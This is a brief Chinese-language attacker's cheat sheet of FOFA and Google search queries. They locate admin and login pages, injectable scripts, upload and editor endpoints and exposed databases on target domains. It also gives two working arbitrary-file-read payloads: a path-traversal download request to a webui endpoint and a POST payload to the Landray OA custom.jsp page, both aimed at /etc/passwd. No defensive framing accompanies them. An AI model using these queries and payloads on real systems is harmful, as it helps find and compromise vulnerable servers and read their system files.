FOFA搜索语法笔记

fofa: body=“webui/js/jquerylib/jquery-1.7.2.min.js”
构造访问 /webui/?g=sys_dia_data_down&file_name=…/etc/passwd

inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找文本内容：
site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username

• title=“后台管理”
• app=“Redis”

查找可注入点：site:域名 inurl:aspx|jsp|php|asp

查找上传漏洞：site:域名 inurl:file|load|editor|Files
找eweb编辑器：
site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库：site:域名 filetype:mdb|asp|#
查看脚本类型：site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵：inurl:cms/data/templates/images/index/

蓝凌OA任意文件读取漏洞

• fofa ：app=“Landray-OA系统”
• 漏洞的路径在 xxxxx/sys/ui/extend/varkind/custom.jsp下面，也就是custom.jsp里面，需要使用post请求方式，请求的参数为 var={“body”:{“file”:“file:///etc/passwd”}}